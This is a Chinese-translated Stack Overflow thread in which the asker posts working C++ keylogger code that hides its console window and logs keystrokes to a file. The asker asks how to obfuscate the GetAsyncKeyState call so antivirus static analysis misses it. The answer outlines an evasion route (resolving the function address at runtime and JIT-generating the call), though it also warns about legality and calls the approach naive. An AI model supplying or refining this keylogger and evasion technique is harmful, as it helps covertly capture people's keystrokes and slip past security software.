【问题标题】:Obfuscating Function Calls C++混淆函数调用 C++
【发布时间】:2021-06-20 14:41:08
【问题描述】:

我正在制作自己的源代码混淆器,我注意到如果源代码中有这样的函数调用,一些防病毒引擎会检测到一个简单的键盘记录器。 “GetASyncKeyState”。以这个源代码为例,它是一个简单的键盘记录主函数。

int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY = 'x';

while (true) {
    Sleep(10);
    for (int KEY = 8; KEY <= 190; KEY++)
    {
        if (GetAsyncKeyState(KEY) == -32767) {
            if (SpecialKeys(KEY) == false) {

                fstream LogFile;
                LogFile.open("dat.txt", fstream::app);
                if (LogFile.is_open()) {
                    LogFile << char(KEY);
                    LogFile.close();
                }

            }
        }
    }
}

return 0;
}

我想混淆“GetAsyncKeyState”名称的函数调用,以便没有 AV 可以将其检测为键盘记录器。我对使用序数和 GetProcAddress 实现函数调用感到困惑。就像我在下面的代码中尝试过的一样。

typedef int(__cdecl *MYPROC)(LPWSTR);
int main(void)
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;

// Get a handle to the DLL module.

hinstLib = LoadLibrary(TEXT("user32.dll"));

// If the handle is valid, try to get the function address.

if (hinstLib != NULL)
{
    ProcAdd = (MYPROC)GetProcAddress(hinstLib, "GetAsyncKeyState");

    // If the function address is valid, call the function.

    if (NULL != ProcAdd)
    {
        fRunTimeLinkSuccess = TRUE;
        (ProcAdd)(L"Message sent to the DLL function\n Loaded Wao");
        printf("Yahooo Function Called");

    }
    // Free the DLL module.

    fFreeResult = FreeLibrary(hinstLib);
}

// If unable to call the DLL function, use an alternative.
if (!fRunTimeLinkSuccess)
    printf("Message printed from executable\n Not Worked Soory");
getch();
return 0; }

这个实现是无法理解的。也请解释一下。

我只需要“GetAsyncKeyState(Key)”的等效项,这样我的混淆器就会检测到该函数调用并将其替换为等效调用(动态),这样我就可以绕过静态分析检测。

【问题讨论】:

  • 如果你想打电话给GetAsyncKeyState(),你必须打电话给GetAsyncKeyState()。没有办法混淆该行为。你也许可以间接调用,但你仍然必须这样做。
  • 使用序数调用函数怎么样?还是通过 GetProcAddress 等?
  • 也许吧。这取决于实施的具体情况。请记住,您不是第一个尝试这样做的人。
  • 1) AV 非常了解GetProcAddress,以及其他比这更深层次的技巧。 2) GetAsyncKeyState很多个合法用途,所以单独调用不会触发任何警报。
  • 这个实现是无法理解的。。那是什么意思?你的意思是你写了代码但不明白你写了什么?如果有问题,请具体说明问题所在。

标签: c++ windows obfuscation antimalware


【解决方案1】:

我正在制作自己的源代码混淆器

其中一些可以购买。一种实用的方法是改进一些现有 开源编译器(如GCCClang),在其中添加混淆。使用 GCC,您可以为此编写 GCC plugin(例如,借助 Bismon 静态分析器)。请注意许可问题(您的 GCC 插件可能需要开源;请咨询您的律师)。

一种可能的方法是元编程(另请参阅RefPerSys)。您可以编写(例如使用asmjitlibgccjit)一些在运行时生成机器代码的C++ 代码。

您的代码可以:而不是调用GetAsyncKeyState

  • 在初始化时(或不时定期)获取GetAsyncKeyState 的地址并将其放入某个变量(某个函数指针)中

  • 生成在某些函数foo中调用GetAsyncKeyState的机器代码

  • 致电foo

请与您的律师核实,您希望编码在您所在的国家/地区是否合法。在法国,编写恶意软件属于刑事犯罪。

还要注意Rice's theorem

这样我就可以绕过静态分析检测....

这是一种幼稚的观点。即使进行了混淆,一个可执行文件在技术上也可以是reverse-engineered,通过像BinSec这样的二进制分析工具。

顺便说一句,编写源代码混淆器可能比花钱请律师写一个好的EULA 更昂贵。

相反的方法是将您的代码设为open source(当然,您需要得到您的经理或客户的批准)。请参阅this draft 报告中的参考资料。或阅读(并让您的经理阅读)The Success of Open Source。将一些源代码开源有许多经济和技术原因:this paper(由诺贝尔奖获得者共同撰写,Jean Tirole)解释了它们。另请阅读what is free software....

咨询律师

附言。对于与 Bismon 源静态分析器(如果提供额外资金,它可能演变成一个代码 ofuscator)或 BinSec 二进制文件相关的问题(2021 年上半年)静态分析器,请通过电子邮件与我联系basile.starynkevitch@cea.fr

注意。我个人对您的技术方法的看法是,它非常幼稚,不会保护您的专有软件免受严重的二进制静态分析团队的攻击。

【讨论】:

  • asmjit 很酷。 :)
  • 感谢您提供替代方法。我也一定会考虑的。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2016-02-14
  • 1970-01-01
  • 2013-03-20
相关资源
最近更新 更多